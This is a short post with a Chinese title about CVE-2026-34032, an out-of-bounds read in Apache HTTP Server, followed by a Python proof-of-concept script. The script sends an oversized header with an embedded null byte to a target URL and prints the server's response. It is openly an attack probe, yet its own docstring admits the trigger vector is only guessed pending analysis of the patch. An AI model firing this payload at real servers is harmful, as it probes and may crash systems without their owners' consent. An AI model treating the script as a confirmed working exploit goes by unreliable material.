CVE-2026-34032 Apache HTTP Server 越界读取漏洞

import requests def check_cve_2026_34032(target_url): """ PoC for CVE-2026-34032 (Improper Null Termination / Out-of-bounds Read). This script sends a crafted request to potentially trigger the vulnerability. Note: The exact trigger vector requires analysis of the specific patch diff. """ headers = { "User-Agent": "CVE-2026-34032-Scanner", # Attempting to trigger improper null termination with a malformed header "X-Custom-Header": "A" * 5000 + "\x00" + "B" * 5000 } try: response = requests.get(target_url, headers=headers, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response Headers: {response.headers}") # Check for signs of memory leaks or abnormal behavior in response body if response.content: print(f"Response Length: {len(response.content)}") except Exception as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": # Replace with actual target URL for testing target = "http://localhost:80" check_cve_2026_34032(target)